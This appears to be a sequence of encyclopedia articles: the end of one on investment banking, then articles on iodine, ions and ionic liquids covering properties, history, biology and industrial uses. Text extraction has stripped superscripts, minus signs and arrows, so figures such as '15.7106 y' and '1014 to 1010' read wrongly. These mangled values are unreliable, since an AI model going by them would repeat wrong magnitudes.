          Another trend in Investment Banking at the dawn of the 21st century has been the vertical integration of debt securitization. Previously, investment banks had assisted lenders in raising more lending funds and having the ability to offer longer term fixed interest rates by converting the lenders' outstanding loans into bonds. For example, a mortgage lender would make a house loan, and then use the investment bank to sell bonds to fund the debt, the money from the sale of the bonds can be used to make new loans, while the lender accepts loan payments and passes the payments on to the bondholders. This process is called securitization. However, lenders have begun to securitize loans themselves, especially in the areas of mortgage loans. Because of this, and because of the fear that this will continue, many Investment Banks have focused on becoming lenders themselves, making loans with the goal of securitizing them. In fact, in the areas of commercial mortgages, many Investment Banks lend at loss leader interest rates in order to make money securitizing the loans, causing them to be a very popular financing option for commercial property investors and developers.


          


          Possible conflicts of interest


          Potential conflicts of interest may arise between different parts of a bank, creating the potential for financial movements that could be market manipulation. Authorities that regulate investment banking (the FSA in the United Kingdom and the SEC in the United States) require that banks impose a Chinese wall which prohibits communication between investment banking on one side and research and equities on the other.


          Some of the conflicts of interest that can be found in investment banking are listed here:


          
            	Historically, equity research firms were founded and owned by investment banks. One common practice is for equity analysts to initiate coverage on a company in order to develop relationships that lead to highly profitable investment banking business. In the 1990s, many equity researchers allegedly traded positive stock ratings directly for investment banking business. On the flip side of the coin: companies would threaten to divert investment banking business to competitors unless their stock was rated favorably. Politicians acted to pass laws to criminalize such acts. Increased pressure from regulators and a series of lawsuits, settlements, and prosecutions curbed this business to a large extent following the 2001 stock market tumble.

          


          
            	Many investment banks also own retail brokerages. Also during the 1990s, some retail brokerages sold consumers securities which did not meet their stated risk profile. This behaviour may have led to investment banking business or even sales of surplus shares during a public offering to keep public perception of the stock favorable.

          


          
            	Since investment banks engage heavily in trading for their own account, there is always the temptation or possibility that they might engage in some form of front running.

          


          


          Investment banks
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              	General
            


            
              	Name, Symbol, Number

              	iodine, I, 53
            


            
              	Chemical series

              	halogens
            


            
              	Group, Period, Block

              	17, 5, p
            


            
              	Appearance

              	violet-dark gray, lustrous

              [image: ]
            


            
              	Standard atomic weight

              	126.90447 (3) gmol1
            


            
              	Electron configuration

              	[Kr] 4d10 5s2 5p5
            


            
              	Electrons per shell

              	2, 8, 18, 18, 7
            


            
              	Physical properties
            


            
              	Phase

              	solid
            


            
              	Density (near r.t.)

              	4.933 gcm3
            


            
              	Melting point

              	386.85 K

              (113.7 C, 236.66 F)
            


            
              	Boiling point

              	457.4 K

              (184.3 C, 363.7 F)
            


            
              	Critical point

              	819 K, 11.7 MPa
            


            
              	Heat of fusion

              	(I2) 15.52  kJmol1
            


            
              	Heat of vaporization

              	(I2) 41.57  kJmol1
            


            
              	Specific heat capacity

              	(25C) (I2) 54.44 Jmol1K1
            


            
              	
                
                  
                    Vapor pressure (rhombic)
                  

                  
                    	P(Pa)

                    	1

                    	10

                    	100

                    	1 k

                    	10 k

                    	100 k
                  


                  
                    	at T(K)

                    	260

                    	282

                    	309

                    	342

                    	381

                    	457
                  

                

              
            


            
              	Atomic properties
            


            
              	Crystal structure

              	orthorhombic
            


            
              	Oxidation states

              	1, 5, 7

              (strongly acidic oxide)
            


            
              	Electronegativity

              	2.66 (Pauling scale)
            


            
              	Ionization energies

              	1st: 1008.4 kJ/mol
            


            
              	2nd: 1845.9 kJ/mol
            


            
              	3rd: 3180 kJ/mol
            


            
              	Atomic radius

              	140  pm
            


            
              	Atomic radius (calc.)

              	115 pm
            


            
              	Covalent radius

              	133 pm
            


            
              	Van der Waals radius

              	198 pm
            


            
              	Miscellaneous
            


            
              	Magnetic ordering

              	nonmagnetic
            


            
              	Electrical resistivity

              	(0 C) 1.3107 m
            


            
              	Thermal conductivity

              	(300K) 0.449 Wm1K1
            


            
              	Bulk modulus

              	7.7 GPa
            


            
              	CAS registry number

              	7553-56-2
            


            
              	Selected isotopes
            


            
              	
                
                  
                    Main article: Isotopes of iodine
                  

                  
                    	iso

                    	NA

                    	half-life

                    	DM

                    	DE ( MeV)

                    	DP
                  


                  
                    	127I

                    	100%

                    	127I is stable with 74 neutrons
                  


                  
                    	129I

                    	syn

                    	15.7106 y

                    	-

                    	0.194

                    	129Xe
                  


                  
                    	131I

                    	syn

                    	8.02070 d

                    	-

                    	0.971

                    	131Xe
                  

                

              
            


            
              	References
            

          


          
            
              	Iodine
            


            
              	Identifiers
            


            
              	CAS number

              	[7553-56-2]
            


            
              	Hazards
            


            
              	R-phrases

              	R21 R23 R25 R34
            


            
              	S-phrases

              	S23 S25
            


            
              	Except where noted otherwise, data are given for

              materials in their standard state

              (at 25C, 100kPa)

              Infobox disclaimer and references
            

          


          Iodine (IPA: /ˈaɪədaɪn, ˈaɪədɪn/, or /ˈaɪədiːn/; from Greek: iodes "violet"), is a chemical element that has the symbol I and atomic number 53. Naturally-occurring iodine is a single isotope with 74 neutrons.


          Chemically, iodine is the least reactive of the halogens, and the most electropositive halogen after astatine. However, the element does not occur in the free state in nature. As with all other halogens (members of Group VII in the Periodic Table), when freed from its compounds iodine forms diatomic molecules (I2).


          Iodine and its compounds are primarily used in medicine, photography and in dyes. Although it is rare in the solar system and Earth's crust, the iodides are very soluble in water, and the element is concentrated in seawater. This mechanism helps to explain how the element came to be required in trace amounts by all animals and some plants, being by far the heaviest element known to be necessary to living organisms.


          


          Properties


          Iodine under standard conditions is a dark-purple/dark-brown solid. It can be seen apparently subliming at standard temperatures into a violet-pink gas that has an irritating odour. This halogen forms compounds with many elements, but is less reactive than the other members of its Group VII (halogens) and has some metallic light reflectance.


          Elemental iodine dissolves easily in chloroform and carbon tetrachloride. The solubility of elementary iodine in water can be vastly increased by the addition of potassium iodide. The molecular iodine reacts reversibly with the negative ion, creating the triiodide anion, I3, which dissolves well in water. This is also the formulation of some types of medicinal (antiseptic) iodine, although tincture of iodine classically disolves the element in alcohol. The deep blue colour of starch-iodine complexes is produced only by the free element.


          Students who have seen the classroom demonstration in which iodine crystals are gently heated in a test tube to violet vapor, may gain the impression that liquid iodine does not exist at atmospheric pressure. This misconception arises because the small amount of vapor produced has such a deep colour that the liquid appears not to form. In fact, if iodine crystals are heated carefully to just above their melting point of 113.7 C, the crystals melt into a liquid which is present under a dense blanket of the vapor.


          


          History


          Iodine was discovered by Bernard Courtois in 1811. He was born to a manufacturer of saltpeter (a vital part of gunpowder). At the time of the Napoleonic Wars, France was at war and saltpeter was in great demand. Saltpeter produced from French niter beds required sodium carbonate, which could be isolated from seaweed washed up on the coasts of Normandy and Brittany. To isolate the sodium carbonate, seaweed was burned and the ash then washed with water. The remaining waste was destroyed by adding sulfuric acid. One day Courtois added too much sulfuric acid and a cloud of purple vapor rose. Courtois noted that the vapor crystallized on cold surfaces making dark crystals. Courtois suspected that this was a new element but lacked the money to pursue his observations.


          However he gave samples to his friends, Charles Bernard Desormes (1777 - 1862) and Nicolas Clment (1779 - 1841), to continue research. He also gave some of the substance to Joseph Louis Gay-Lussac (1778 - 1850), a well-known chemist at that time, and to Andr-Marie Ampre (1775 - 1836). On 29 November 1813, Dersormes and Clment made public Courtois discovery. They described the substance to a meeting of the Imperial Institute of France. On December 6, Gay-Lussac announced that the new substance was either an element or a compound of oxygen. Ampre had given some of his sample to Humphry Davy (1778 - 1829). Davy did some experiments on the substance and noted its similarity to chlorine. Davy sent a letter dated December 10 to the Royal Society of London stating that he had identified a new element. A large argument erupted between Davy and Gay-Lussac over who identified iodine first but both scientists acknowledged Courtois as the first to isolate the chemical element.


          


          Applications


          Iodine is used in pharmaceuticals, antiseptics, medicine, food supplements, dyes, catalysts, halogen lights, photography, water purifying, and starch detection.


          
            	Tincture of iodine (10% elemental iodine in ethanol base) is an essential component of any emergency survival kit, used both to disinfect wounds and to sanitize surface water for drinking (3 drops per litre, let stand for 30 minutes). Alcohol-free iodine solutions such as Lugol's iodine, as well as other iodophor type antiseptics, are also available as effective elemental iodine sources for this purpose.


            	Iodine compounds are important in the field of organic chemistry


            	Iodine, as a heavy element, is quite radio-opaque. Organic compounds of a certain type (typically iodine-substituted benzene derivatives) are thus used in medicine as X-ray radiocontrast agents for intravenous injection. This is often in conjunction with advanced X-ray techniques such as angiography and CT scanning


            	Silver iodide is used in photography.


            	Tungsten iodide is used to stabilize the filaments in light bulbs.

          


          


          Occurrence on earth


          Iodine naturally occurs in the environment chiefly as dissolved iodide in seawater, although it is also found in some minerals and soils. The element may be prepared in an ultrapure form through the reaction of potassium iodide with copper(II) sulfate. There are also a few other methods of isolating this element in the laboratory-- for example the method used to isolate other halogens: oxygenation of the iodide in hydroiodic acid (often made in situ with an iodide and sulfuric acid) by manganese dioxide (see below in Descriptive chemistry). Although the element is actually quite rare, kelp and certain plants and algae have some ability to concentrate iodine, which helps introduce the element into the food chain.


          Descriptive chemistry


          Elemental iodine is poorly soluble in water, with one gram dissolving in 3450 ml at 20 C and 1280 ml at 50 C. By contrast with chlorine, the formation of the hypohalite ion (IO) in neutral aqueous solutions of iodine is negligible.


          
            	
              
                	I2+ H2O  H+ + I + HIO  (K = 2.010-13)

              

            

          


          Solubility in water is greatly improved if the solution contains dissolved iodides such as hydroiodic acid, potassium iodide, or sodium iodide. Dissolved bromides also improve water solubility of iodine. Iodine is soluble in a number of organic solvents, including ethanol (20.5 g/100 ml at 15 C, 21.43 g/100 ml at 25 C), diethyl ether (20.6 g/100 ml at 17 C, 25.20 g/100 ml at 25 C), chloroform, acetic acid, glycerol, benzene (14.09 g/100 ml at 25 C), carbon tetrachloride (2.603 g/100 ml at 35 C), and carbon disulfide (16.47 g/100 ml at 25 C). Aqueous and ethanol solutions are brown. Solutions in chloroform, carbon tetrachloride, and carbon disulfide are violet.


          Elemental iodine can be prepared by oxidizing iodides with chlorine:


          
            	
              
                	2I + Cl2  I2 + 2Cl

              

            

          


          or with manganese dioxide in acid solution:


          
            	
              
                	2I + 4H+ + MnO2  I2 + 2H2O + Mn2+

              

            

          


          Iodine is reduced to hydroiodic acid by hydrogen sulfide:


          
            	
              
                	I2 + H2S  2HI + S

              

            

          


          or by hydrazine:


          
            	
              
                	2I2 + N2H4  4HI + N2

              

            

          


          Iodine is oxidized to iodate by nitric acid:


          
            	
              
                	I2 + 10HNO3  2HIO3 + 10NO2 + 4H2O

              

            

          


          or by chlorates:


          
            	
              
                	I2 + 2ClO3  2IO3 + Cl2

              

            

          


          Iodine is converted in a two stage reaction to iodide and iodate in solutions of alkali hydroxides (such as sodium hydroxide):


          
            	
              
                	
                  
                    
                      	I2 + 2OH  I + IO + H2O

                      	

                      	(K = 30)
                    


                    
                      	3IO  2I + IO3

                      	

                      	(K = 1020)
                    

                  

                

              

            

          


          


          Notable inorganic iodine compounds
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          Stable iodine in biology


          Iodine is an essential trace element; its only known roles in biology are as constituents of the thyroid hormones, thyroxine (T4) and triiodothyronine (T3). These are made from addition condensation products of the amino acid tyrosine, and are stored prior to release in a protein-like iodine-containing molecule called thyroglobulin. T4 and T3 contain four and three atoms of iodine per molecule, respectively. The thyroid gland actively absorbs iodide from the blood to make and release these hormones into the blood, actions which are regulated by a second hormone TSH from the pituitary. Thyroid hormones are phylogenetically very old molecules which are synthesized by most multicellular organisms, and which even have some effect on unicellular organisms.


          Thyroid hormones play a very basic role in biology, acting on gene transcription to regulate the basal metabolic rate. The total deficiency of thyroid hormones can reduce basal metabolic rate up to 50%, while in excessive production of thyroid hormones the basal metabolic rate can be increased by 100%. T4 acts largely as a precursor to T3, which is (with some minor exceptions) the biologically active hormone.


          


          Human dietary intake


          The United States Food and Drug Administration recommends 150 micrograms of iodine per day for both men and women. This is necessary for proper production of thyroid hormone. Natural sources of iodine include sea life, such as kelp and certain seafood, as well as plants grown on iodine-rich soil. Salt for human consumption is often fortified with iodine and is referred to as iodized salt.


          


          Iodine deficiency


          In areas where there is little iodine in the diettypically remote inland areas and semi-arid equatorial climates where no marine foods are eaten iodine deficiency gives rise to hypothyroidism, symptoms of which are extreme fatigue, goitre, mental slowing, depression, weight gain, and low basal body temperatures.


          Iodine deficiency is also the leading cause of preventable mental retardation, an effect which happens primarily when babies and small children are made hypothyroid by lack of the element. The addition of iodine to table salt has largely eliminated this problem in the wealthier nations, but as of March 2006, iodine deficiency remained a serious public health problem in the developing world.


          


          Radioiodine and biology


          


          Radioiodine and the thyroid


          Human exposure to radioactive iodine will cause thyroid uptake, as with all iodine, leading to elevated chances of thyroid cancer. Isotopes with shorter half-lives such as 131I present a greater risk than those with longer half-lives since they generate more radiation per unit of time. Taking large amounts of regular iodine will saturate the thyroid and prevent uptake. Iodine pills are sometimes distributed to persons living close to nuclear establishments, for use in case of accidents that could lead to releases of radioactive iodine.


          
            	Iodine-123 and iodine-125 are used in medicine as tracers for imaging and evaluating the function of the thyroid.


            	Uncombined (elemental) iodine is mildly toxic to all living things.

          


          The artificial radioisotope 131I (a beta emitter), has a half-life of 8.0207 days. Also known as radioiodine, 131I has been used in treating cancer and other pathologies of the thyroid glands. 123I is the radioisotope most often used in nuclear imaging of the kidney and thyroid as well as thyroid uptake scans (used for the evaluation of Graves' Disease). The most common compounds of iodine are the iodides of sodium and potassium (KI) and the iodates (KIO3).


          Potassium iodide (KI tablets, or "SSKI" = "Saturated Solution of KI" liquid drops) can be given to people in a nuclear disaster area when fission has taken place, to block the uptake of iodine-131 by the thyroid. The protective effect of KI lasts approximately 24 hours, so it should be dosed daily until a risk of significant exposure to radioiodines no longer exists. The exposure can be reduced by evacuation, sheltering, and by control of the food supply. Iodine-131 also decays rapidly, with a half-life of 8 days, so that 99.95% of the original radioiodine is gone after three months.


          Iodine-129 129I ( half-life 15.7 million years) is a product of cosmic ray spallation on various isotopes of xenon in the atmosphere, in cosmic ray muon interaction with tellurium-130, and also and uranium and plutonium fission, both in subsurface rocks and nuclear reactors. Nuclear processes, in particular nuclear fuel reprocessing and atmospheric nuclear weapons tests have now swamped the natural signal for this isotope. 129I was used in rainwater studies following the Chernobyl accident. It also has been used as a ground-water tracer and as an indicator of nuclear waste dispersion into the natural environment.


          


          Radioiodine and the kidney


          In the 1970s imaging techniques were developed in California to utilize radioiodine in diagnostics for renal hypertension.


          


          Isotopes


          There are 37 isotopes of iodine and only one, 127I, is stable.


          In many ways, 129I is similar to 36Cl. It is a soluble halogen, fairly non-reactive, exists mainly as a non-sorbing anion, and is produced by cosmogenic, thermonuclear, and in-situ reactions. In hydrologic studies, 129I concentrations are usually reported as the ratio of 129I to total I (which is virtually all 127I). As is the case with 36Cl/Cl, 129I/I ratios in nature are quite small, 1014 to 1010 (peak thermonuclear 129I/I during the 1960s and 1970s reached about 107). 129I differs from 36Cl in that its half-life is longer (15.7 vs. 0.301 million years), it is highly biophilic, and occurs in multiple ionic forms (commonly, I and IO3) which have different chemical behaviors. This makes it fairly easy for 129I to enter the biosphere as it becomes incorporated into vegetation, soil, milk, animal tissue, etc.


          Excesses of stable 129Xe in meteorites have been shown to result from decay of "primordial" Iodine-129 produced newly by the supernovas which created the dust and gas from which the solar system formed. 129I was the first extinct radionuclide to be identified as present in the early solar system. Its decay is the basis of the I-Xe Iodine-xenon radiometric dating scheme, which covers the first 83 million years of solar system evolution.


          Effects of various radioiodine isotopes in biology are discussed below.


          


          Toxicity of iodine


          Excess iodine has symptoms similar to those of iodine deficiency. Commonly encountered symptoms are abnormal growth of the thyroid gland and disorders in functioning and growth of the organism as a whole. Elemental iodine, I2, is a deadly poison if taken in larger amounts; if 2-3 grams of it is consumed, it is fatal to humans. Iodides are similar in toxicity to bromides.


          


          Precautions for stable iodine


          Direct contact with skin can cause lesions, so it should be handled with care. Iodine vapor is very irritating to the eye and to mucous membranes. Concentration of iodine in the air should not exceed 1 mg/ m (eight-hour time-weighted average). When mixed with ammonia, it can form nitrogen triiodide which is extremely sensitive and can explode unexpectedly.


          


          Clandestine use


          In the United States, the Drug Enforcement Agency (DEA) regards iodine and compounds containing iodine (ionic iodides, iodoform, ethyl iodide, and so on) as reagents useful for the clandestine manufacture of methamphetamine. Persons who attempt to purchase significant quantities of such chemicals without establishing a legitimate use are likely to find themselves the target of a DEA investigation. Persons selling such compounds without doing due diligence to establish that the materials are not being diverted to clandestine use may be subject to stiff penalties, such as expensive fines or even imprisonment.
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              An electrostatic potential map of the nitrate ion (NO3). Areas coloured red are lower in energy than areas colored yellow
            

          


          An ion is an atom or molecule which has lost or gained one or more valence electrons, making it positively or negatively charged.


          A negatively charged ion, which has more electrons in its electron shells than it has protons in its nuclei, is known as an anion (pronounced /ˈnaɪən/; an-eye-on). Conversely, a positively-charged ion, which has fewer electrons than protons, is known as a cation (pronounced /ˈktaɪən/; cat-eye-on).


          An ion consisting of a single atom is called a monatomic ion, but if it consists of two or more atoms, it is a polyatomic ion. Polyatomic ions containing oxygen, such as carbonate and sulfate, are called oxyanions.


          Ions are denoted in the same way as electrically neutral atoms and molecules except for the presence of a superscript indicating the sign of the net electric charge and the number of electrons lost or gained, if more than one. For example: H+ and SO42.


          


          Etymology


          The name ion was given by Michael Faraday. It is derived from the Greek word ἰό, participle of ἰέ, "to go", or έἰ , "I go"; thus "a goer". Anion, ἀό, and cation, ό, mean "(a thing) going up" and "(a thing) going down", respectively; and anode, ἄ, and cathnic|ά}}, mean "a way up" and "a way down", respectively, from ὁό, "way," or "road".


          


          Formation


          


          Formation of polyatomic and molecular ions


          Polyatomic and molecular ions are often formed by the combination of elemental ions such as H+ with neutral molecules or by the gain of such elemental ions from neutral molecules. A simple example of this is the ammonium ion NH4+ which can be formed by ammonia NH3 accepting a proton, H+. Ammonia and ammonium have the same number of electrons in essentially the same electronic configuration but differ in protons. The charge has been added by the addition of a proton (H+) not the addition or removal of electrons. The distinction between this and the removal of an electron from the whole molecule is important in large systems because it usually results in much more stable ions with complete electron shells. For example NH3+ is not stable because of an incomplete valence shell around nitrogen and is in fact a radical ion.


          


          Ionization potential


          The energy required to detach an electron in its lowest energy state from an atom or molecule of a gas with less net electric charge is called the ionization potential, or ionization energy. The nth ionization energy of an atom is the energy required to detach its nth electron after the first n  1 electrons have already been detached.


          Each successive ionization energy is markedly greater than the last. Particularly great increases occur after any given block of atomic orbitals is exhausted of electrons. For this reason, ions tend to form in ways that leave them with full orbital blocks. For example, sodium has one valence electron, in its outermost shell, so in ionized form it is commonly found with one lost electron, as Na+. On the other side of the periodic table, chlorine has seven valence electrons, so in ionized form it is commonly found with one gained electron, as Cl. Francium has the lowest ionization energy of all the elements and fluorine has the greatest. The ionization energy of metals is generally much lower than the ionization energy of nonmetals, which is why metals will generally lose electrons to form positively-charged ions while nonmetals will generally gain electrons to form negatively-charged ions.


          A neutral atom contains an equal number of Z protons in the nucleus and Z electrons in the electron shell. The electrons' negative charges thus exactly cancel the protons' positive charges. In the simple view of the Free electron model, a passing electron is therefore not attracted to a neutral atom and cannot bind to it. In reality, however, the atomic electrons form a cloud into which the additional electron penetrates, thus being exposed to a net positive charge part of the time. Furthermore, the additional charge displaces the original electrons and all of the Z + 1 electrons rearrange into a new configuration.


          


          Ions


          
            	Anions (see pronunciation above) are negatively charged ions, formed when an atom gains electrons in a reaction. Anions are negatively charged because there are more electrons associated with them than there are protons in their nuclei.

          


          
            	Cations (see pronunciation above) are positively charged ions, formed when an atom loses electrons in a reaction. Cations are the opposite of anions, since cations have fewer electrons than protons.

          


          
            	Dianion: a dianion is a species which has two negative charges on it; for example, the aromatic dianion pentalene.

          


          
            	Radical ions: radical ions are ions that contain an odd number of electrons and are mostly very reactive and unstable.

          


          


          Plasma


          A collection of non- aqueous gas-like ions, or even a gas containing a proportion of charged particles, is called a plasma, often called the fourth state of matter because its properties are quite different from solids, liquids, and gases. Astrophysical plasmas containing predominantly a mixture of electrons and protons, may make up as much as 99.9% of visible matter in the universe.


          


          Applications


          Ions are essential to life. Sodium, potassium, calcium and other ions play an important role in the cells of living organisms, particularly in cell membranes. They have many practical, everyday applications in items such as smoke detectors, and are also finding use in unconventional technologies such as ion engines. Inorganic dissolved ions are a component of total dissolved solids, an indicator of water quality in the world.


          



          


          Negative 'Ions' and Air Ionisers


          Many manufacturers sell devices that release 'negative ions' into the air, claiming that a higher concentration of negative ions will make a room feel less 'stuffy'. Some also claim health benefits such as relieving asthma and depression.


          The 'ions' referred to are in fact charged oxygen or nitrogen molecules surrounded by a cluster of water molecules, rather than ions. Scientific studies have shown no particular benefit from a greater concentration of negative ions.


          Negative air ionization can reduce the concentration of bioaerosols and dust particles in the air by causing them to bond, forming larger particles and thus falling out of the air onto horizontal surfaces. This may help reduce infection due to airborne contamination. Ionization was shown to reduce transmission of the Newcastle Disease Virus in an experiment with chickens.


          


          Common ions
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                    	Formula

                    	Historic Name
                  


                  
                    	Simple Cations
                  


                  
                    	Aluminium

                    	Al3+

                    	
                  


                  
                    	Barium

                    	Ba2+
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                    	Be2+
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                    	Cs+
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                    	Ca2+
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                    	Cr2+

                    	Chromous
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                    	Cr3+

                    	Chromic
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                    	Cobalt(III)
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                    	Iron(III)
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                    	Manganese(III)

                    	Mn3+

                    	Manganic
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                    	Mercury(II)

                    	Hg2+

                    	Mercuric
                  


                  
                    	Nickel(II)

                    	Ni2+

                    	Nickelous
                  


                  
                    	Nickel(III)

                    	Ni3+

                    	Nickelic
                  


                  
                    	Potassium

                    	K+

                    	
                  


                  
                    	Silver

                    	Ag+

                    	
                  


                  
                    	Sodium

                    	Na+
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                    	Anions from Organic Acids
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              A 1-butyl-3-methylimidazolium (BMIM) salt.
            

          


          An ionic liquid is a liquid that contains essentially only ions. Some ionic liquids, such as ethylammonium nitrate. are in a dynamic equilibrium where at any time more than 99.99% of the liquid is made up of ionic rather than molecular species. In the broad sense, the term includes all molten salts, for instance, sodium chloride at temperatures higher than 800 C. Today, however, the term "ionic liquid" is commonly used for salts whose melting point is relatively low (below 100 C). In particular, the salts that are liquid at room temperature are called room-temperature ionic liquids, or RTILs. There also exist mixtures of substances which have low melting points, called Deep eutectic solvent, or DES, that have many similarities with ionic liquids.


          


          History


          The date of discovery, as well as discoverer, of the "first" ionic liquid is disputed. Ethanolammonium nitrate (m.p. 52-55 C) was reported in 1888 by Gabriel. However, one of the earlier known truly room temperature ionic liquids was [EtNH3]+ [NO3]- (m.p. 12 C), the synthesis of which was published in 1914. Much later, series of ionic liquids based on mixtures of 1,3-dialkylimidazolium or 1-alkylpyridinium halides and trihalogenoaluminates, initially developed for use as electrolytes, were to follow. An important property of the imidazolium halogenoaluminate salts was that they were tuneable  viscosity, melting point and the acidity of the melt could be adjusted by changing the alkyl substituents and the ratio of imidazolium or pyridinium halide to halogenoaluminate.


          A major drawback was their moisture sensitivity and, though to a somewhat lesser extent, their acidity/basicity, the latter which can sometimes be used to an advantage. In 1992, Wilkes and Zawarotko reported the preparation of ionic liquids with alternative, 'neutral', weakly coordinating anions such as hexafluorophosphate ([PF6]-) and tetrafluoroborate ([BF4])-, allowing a much wider range of applications for ionic liquids. It was not until recently that a class of new, air- and moisture stable, neutral ionic liquids, was available that the field attracted significant interest from the wider scientific community.


          More recently, people have been moving away from [PF6]- and [BF4]- since they are highly toxic, and towards new anions such as bistriflimide [(CF3SO2)2N]- or even away from halogenated compounds completely. Moves towards less toxic cations have also been growing, with compounds like ammonium salts (such as choline) being just as flexible a scaffold as imidazole.


          


          Characteristics


          Ionic liquids are electrically conductive and have extremely low vapor pressure. (Their noticeable odours are likely due to impurities.) Their other properties are diverse. Many have low combustibility, excellent thermal stability, a wide liquid range, and favorable solvating properties for diverse compounds. Many classes of chemical reactions, such as Diels-Alder reactions and Friedel-Crafts reactions, can be performed using ionic liquids as solvents. Recent work has shown that ionic liquids can serve as solvents for biocatalysis . The miscibility of ionic liquids with water or organic solvents varies with sidechain lengths on the cation and with choice of anion. They can be functionalized to act as acids, bases or ligands, and have been used as precursor salts in the preparation of stable carbenes. Because of their distinctive properties, ionic liquids are attracting increasing attention in many fields, including organic chemistry, electrochemistry, catalysis, physical chemistry, and engineering; see for instance magnetic ionic liquid.


          Despite their extremely low vapor pressures, some ionic liquids can be distilled under vacuum conditions at temperatures near 300 C. Some ionic liquids (such as 1-butyl-3-methylimidazolium nitrate) generate flammable gases on thermal decomposition. Thermal stability and melting point depend on the components of the liquid. Thermal stability of various RTILs are available. The thermal stability of a task-specific ionic liquid, protonated betaine bis(trifluoromethanesulfonyl)imide is of about 534 K and N-Butyl-N-Methyl pyrrolidinium bis(trifluoromethanesulfonyl)imide was thermally stable up to 640 K


          The solubility of different species in imidazolium ionic liquids depends mainly on polarity and hydrogen bonding ability. Simple aliphatic compounds are generally only sparingly soluble in ionic liquids, whereas olefins show somewhat greater solubility, and aldehydes can be completely miscible. This can be exploited in biphasic catalysis, such as hydrogenation and hydrocarbonylation processes, allowing for relatively easy separation of products and/or unreacted substrate(s). Gas solubility follows the same trend, with carbon dioxide gas showing exceptional solubility in many ionic liquids, carbon monoxide being less soluble in ionic liquids than in many popular organic solvents, and hydrogen being only slightly soluble (similar to the solubility in water) and probably varying relatively little between the more popular ionic liquids. (Different analytical techniques have yielded somewhat different absolute solubility values.)


          


          Room temperature ionic liquids


          Room temperature ionic liquids consist of bulky and asymmetric organic cations such as 1-alkyl-3-methylimidazolium, 1-alkylpyridinium, N-methyl-N-alkylpyrrolidinium and ammonium ions. A wide range of anions is employed, from simple halides, which generally inflect high melting points, to inorganic anions such as tetrafluoroborate and hexafluorophosphate and to large organic anions like bistriflimide, triflate or tosylate. There are also many interesting examples of uses of ionic liquids with simple non-halogenated organic anions such as formate, alkylsulfate, alkylphosphate or glycolate. As an example, the melting point of 1-butyl-3-methylimidazolium tetrafluoroborate or [bmim][BF4] with an imidazole skeleton is about -80 C, and it is a colorless liquid with high viscosity at room temperature.


          It has been pointed out that in many synthetic processes using transition metal catalyst, metal nanoparticles play an important role as the actual catalyst or as a catalyst reservoir. It also been shown that ionic liquids (ILs) are an appealing medium for the formation and stabilization of catalytically active transition metal nanoparticles. More importantly, ILs can be made that incorporate co-ordinating groups,, for example, with nitrile groups on either the cation or anion (CN-IL). In various C-C coupling reactions catalyzed by palladium catalyst, it has been found the palladium nanoparticles are better stabilized in CN-IL compared to non-functionalized ionic liquids; thus enhanced catalytic activity and recyclability are realized.


          


          Low temperature ionic liquids


          Low temperature ionic liquids (below 130 kelvins) have been proposed as the fluid base for an extremely large diameter spinning liquid mirror telescope to be based on the earth's moon. Low temperature is advantageous in imaging long wave infrared light which is the form of light (extremely red-shifted) that arrives from the most distant parts of the visible universe. Such a liquid base would be covered by a thin metallic film that forms the reflective surface. A low volatility is important for use in the vacuum conditions present on the moon.


          


          Food science


          The application range of ionic liquid also extends to food science. [bmim]Cl for instance is able to completely dissolve freeze dried banana pulp and the solution with an additional 15% DMSO lends itself to Carbon-13 NMR analysis. In this way the entire banana compositional makeup of starch, sucrose, glucose, and fructose can be monitored as a function of banana ripening.


          


          Safety


          Due to their non-volatility, effectively eliminating a major pathway for environmental release and contamination, ionic liquids have been considered as having a low impact on the environment and human health, and thus recognized as solvents for green chemistry. However, this is distinct from toxicity, and it remains to be seen how 'environmentally-friendly' ILs will be regarded once widely used by industry. Research into IL aquatic toxicity has shown them to be as toxic or more so than many current solvents already in use . A review paper on this aspect has been published in 2007. Available research also shows that mortality isn't necessarily the most important metric for measuring their impacts in aquatic environments, as sub-lethal concentrations have been shown to change organisms' life histories in meaningful ways. According to these researchers balancing between zero VOC emissions, and avoiding spills into waterways (via waste ponds/streams, etc.) should become a top priority. However, with the enormous diversity of substituents available to make useful ILs, it should be possible to design them with useful physical properties and less toxic chemical properties.


          With regard to the safe disposal of ionic liquids, a 2007 paper has reported the use of ultrasound to degrade solutions of imidazolium-based ionic liquids with hydrogen peroxide and acetic acid to relatively innocuous compounds.


          Despite their low vapor pressure many ionic liquids have also found to be combustible and therefore require careful handling . Brief exposure (5 to 7 seconds) to a flame torch will ignite these IL's and some of them are even completely consumed by combustion.


          


          Industrial applications


          Nowadays ionic liquids find a number of industrial applications which vary greatly in character. A few of their industrial applications are briefly described below; more detailed information can be found in a recent review article.


          


          The BASIL process


          The first major industrial application of ILs was the BASIL process by BASF, in which 1-methylimidazol was used to scavenge the acid from an existing process. This then results in the formation of an IL which can easily be removed from the reaction mixture. But the easier removal of an unwanted side-product (as an IL rather than as a solid salt) is not the only advantage of the IL based process. By using an IL it was possible to increase the space/time yield of the reaction by a factor of 80,000. It should, however, be kept in mind that improvements of such scale are rare.


          


          Cellulose Processing


          Occurring at a volume of some 700 billion tons, cellulose is the earths most widespread natural organic chemical and, thus, highly important as a bio-renewable resource. But even out of the 40 billion tons nature renews every year, only approx. 0.2 billion tons are used as feedstock for further processing. A more intensive exploitation of cellulose as a biorenewable feedstock has to date been prevented by the lack of a suitable solvent that can be used in chemical processes. Robin Rogers and co-workers at the University of Alabama have found that by means of ionic liquids, however, real solutions of cellulose can now be produced for the first time at technically useful concentrations . This new technology therefore opens up great potential for cellulose processing.


          For example, making cellulosic fibers from so-called dissolving pulp currently involves the use, and subsequent disposal, of great volumes of various chemical auxiliaries, esp. carbon disulfide (CS2). Major volumes of waste water are also produced for process reasons and need to be disposed of. These processes can be greatly simplified by the use of ionic liquids, which serve as solvents and are nearly entirely recycled. The Institut fr Textilchemie und Chemiefasern (ITCF) in Denkendorf and BASF are jointly investigating the properties of fibers spun from an ionic liquid solution of cellulose in a pilot plant setup.


          


          Eastman chemicals DHF plant


          Eastman have operated an ionic liquid-based plant for the synthesis of 2,5-dihydrofuran from 1996 to 2004. However, the plant is now defunct because demand for the product has ceased.


          


          Dimersol - Difasol


          The dimersol process is a traditional way to dimerise short chain alkenes into branched alkenes of higher molecular weight. Nobel laureate Yves Chauvin and Hlne Olivier-Bourbigou at IFP (France) have developed an ionic liquid-based add-on to this process called the Difasol process. However, while may be licensed it has as yet not been put into commercial practice.


          


          Petrochina


